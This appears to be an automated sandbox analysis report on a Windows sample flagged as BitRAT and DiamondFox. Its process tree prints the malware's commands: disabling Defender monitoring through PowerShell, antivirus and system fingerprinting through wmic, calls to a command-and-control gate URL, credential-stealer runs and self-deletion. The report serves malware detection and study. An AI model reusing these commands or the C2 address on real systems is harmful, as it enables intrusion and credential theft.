Analysis

  • max time kernel
    144s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    03-07-2021 23:55

General

  • Target

    mixazed_20210703-205320.exe

  • Size

    1.8MB

  • MD5

    8703d31eadccffa270ba764a35dfd548

  • SHA1

    6dd74fef8122095da64955abd99f38421629445d

  • SHA256

    3ecf2f7b5f8f62572e6006aa6b0ad2c0b7df2bc1fc494f026608c2852113a187

  • SHA512

    f8a878ca57208128dd2e9452ede5596aad819f2cab6d80fb71d7ea3baf1e6df540f28c000cbd64ecdd19e9fbb021ab03ea6050bc1f851a9524cf7d22ea4fd6a2

Malware Config

Signatures

  • BitRAT

    BitRAT is a remote access tool written in C++ and uses leaked source code from other families.

  • BitRAT Payload 1 IoCs
  • DiamondFox

    DiamondFox is a multipurpose botnet with many capabilities.

  • DiamondFox payload 19 IoCs

    Detects DiamondFox payload in file/memory.

  • NirSoft MailPassView 3 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 4 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
    "C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2004
    • C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
      C:\Users\Admin\AppData\Local\Temp\mixazed_20210703-205320.exe
      2⤵
      • Loads dropped DLL
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:772
      • C:\Users\Admin\AppData\Local\Temp\sVQTwb6rts5kF2Qe.exe
        "C:\Users\Admin\AppData\Local\Temp\sVQTwb6rts5kF2Qe.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:828
        • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
          "C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:844
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1188
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            "wmic" /Node:localhost /Namespace:\\root\SecurityCenter2 path AntiVirusProduct get DisplayName /FORMAT:List
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:332
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            "wmic" os get caption /FORMAT:List
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1148
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            "wmic" path win32_VideoController get caption /FORMAT:List
            5⤵
              PID:1684
            • C:\Windows\SysWOW64\Wbem\wmic.exe
              "wmic" path win32_NetworkAdapterConfiguration where IPEnabled=1 get IPAddress /FORMAT:List
              5⤵
                PID:1360
              • C:\Windows\SysWOW64\Wbem\wmic.exe
                "wmic" LogicalDisk Where DriveType=4 get VolumeName /FORMAT:List
                5⤵
                  PID:1784
                • C:\Windows\SysWOW64\Wbem\wmic.exe
                  "wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
                  5⤵
                    PID:536
                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                    "wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
                    5⤵
                      PID:432
                    • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                      /scomma "C:\Users\Admin\AppData\Local\Temp\1.log"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1132
                    • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                      /scomma "C:\Users\Admin\AppData\Local\Temp\4.log"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of SetWindowsHookEx
                      PID:1276
                    • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                      /scomma "C:\Users\Admin\AppData\Local\Temp\2.log"
                      5⤵
                      • Executes dropped EXE
                      PID:472
                    • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                      /scomma "C:\Users\Admin\AppData\Local\Temp\3.log"
                      5⤵
                      • Executes dropped EXE
                      PID:1684
                    • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                      X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
                      5⤵
                      • Executes dropped EXE
                      PID:1988
                      • C:\Windows\notepad.exe
                        X C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                        6⤵
                        • Opens file in notepad (likely ransom note)
                        PID:1716
                      • C:\Windows\write.exe
                        X C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                        6⤵
                          PID:1608
                      • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                        X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of SetWindowsHookEx
                        PID:1804
                      • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                        X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of SetWindowsHookEx
                        PID:1948
                      • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                        X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
                        5⤵
                        • Executes dropped EXE
                        PID:1316
                      • C:\Windows\SysWOW64\Wbem\wmic.exe
                        "wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
                        5⤵
                          PID:1336
                        • C:\Windows\SysWOW64\Wbem\wmic.exe
                          "wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
                          5⤵
                            PID:1344
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill" /PID 1988 /F
                            5⤵
                            • Kills process with taskkill
                            PID:1640
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill" /PID 1804 /F
                            5⤵
                            • Kills process with taskkill
                            PID:1360
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill" /PID 1316 /F
                            5⤵
                            • Kills process with taskkill
                            PID:1160
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill" /PID 1948 /F
                            5⤵
                            • Kills process with taskkill
                            PID:828
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "powershell" Start-Sleep -s 10; Remove-Item -Path 'C:\Users\Admin\AppData\Local\Temp\sVQTwb6rts5kF2Qe.exe' -Force -Recurse
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1588

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/472-168-0x0000000000400000-0x0000000000422000-memory.dmp

                    Filesize

                    136KB

                  • memory/472-172-0x0000000000400000-0x0000000000422000-memory.dmp

                    Filesize

                    136KB

                  • memory/772-72-0x00000000765F1000-0x00000000765F3000-memory.dmp

                    Filesize

                    8KB

                  • memory/772-73-0x0000000000400000-0x00000000007E4000-memory.dmp

                    Filesize

                    3.9MB

                  • memory/772-70-0x0000000000400000-0x00000000007E4000-memory.dmp

                    Filesize

                    3.9MB

                  • memory/1132-160-0x0000000000400000-0x000000000047C000-memory.dmp

                    Filesize

                    496KB

                  • memory/1132-156-0x0000000000400000-0x000000000047C000-memory.dmp

                    Filesize

                    496KB

                  • memory/1188-118-0x00000000061C0000-0x00000000061C1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1188-148-0x0000000006300000-0x0000000006301000-memory.dmp

                    Filesize

                    4KB

                  • memory/1188-101-0x0000000002480000-0x00000000030CA000-memory.dmp

                    Filesize

                    12.3MB

                  • memory/1188-125-0x0000000006280000-0x0000000006281000-memory.dmp

                    Filesize

                    4KB

                  • memory/1188-105-0x0000000002850000-0x0000000002851000-memory.dmp

                    Filesize

                    4KB

                  • memory/1188-110-0x0000000006040000-0x0000000006041000-memory.dmp

                    Filesize

                    4KB

                  • memory/1188-112-0x000000007EF30000-0x000000007EF31000-memory.dmp

                    Filesize

                    4KB

                  • memory/1188-132-0x0000000005610000-0x0000000005611000-memory.dmp

                    Filesize

                    4KB

                  • memory/1188-100-0x0000000002480000-0x00000000030CA000-memory.dmp

                    Filesize

                    12.3MB

                  • memory/1188-149-0x0000000006310000-0x0000000006311000-memory.dmp

                    Filesize

                    4KB

                  • memory/1188-116-0x00000000060E0000-0x00000000060E1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1276-166-0x0000000000400000-0x0000000000405000-memory.dmp

                    Filesize

                    20KB

                  • memory/1276-161-0x0000000000400000-0x0000000000405000-memory.dmp

                    Filesize

                    20KB

                  • memory/1316-191-0x0000000000400000-0x0000000000431000-memory.dmp

                    Filesize

                    196KB

                  • memory/1588-98-0x0000000004790000-0x0000000004791000-memory.dmp

                    Filesize

                    4KB

                  • memory/1588-92-0x00000000047D0000-0x00000000047D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1588-102-0x0000000002490000-0x0000000002491000-memory.dmp

                    Filesize

                    4KB

                  • memory/1588-99-0x0000000004792000-0x0000000004793000-memory.dmp

                    Filesize

                    4KB

                  • memory/1588-153-0x0000000006040000-0x0000000006041000-memory.dmp

                    Filesize

                    4KB

                  • memory/1588-91-0x0000000000A00000-0x0000000000A01000-memory.dmp

                    Filesize

                    4KB

                  • memory/1588-167-0x00000000061B0000-0x00000000061B1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1684-176-0x0000000000400000-0x0000000000455000-memory.dmp

                    Filesize

                    340KB

                  • memory/1684-173-0x0000000000400000-0x0000000000455000-memory.dmp

                    Filesize

                    340KB

                  • memory/1804-183-0x0000000000400000-0x0000000000405000-memory.dmp

                    Filesize

                    20KB

                  • memory/1948-190-0x0000000000400000-0x0000000000406000-memory.dmp

                    Filesize

                    24KB

                  • memory/1988-182-0x0000000000400000-0x0000000000413000-memory.dmp

                    Filesize

                    76KB

                  • memory/2004-62-0x0000000000B20000-0x0000000000B21000-memory.dmp

                    Filesize

                    4KB

                  • memory/2004-63-0x0000000000B25000-0x0000000000B36000-memory.dmp

                    Filesize

                    68KB

                  • memory/2004-64-0x0000000005E00000-0x0000000005FA4000-memory.dmp

                    Filesize

                    1.6MB

                  • memory/2004-60-0x0000000000D60000-0x0000000000D61000-memory.dmp

                    Filesize

                    4KB

                  • memory/2004-69-0x0000000000550000-0x00000000005B5000-memory.dmp

                    Filesize

                    404KB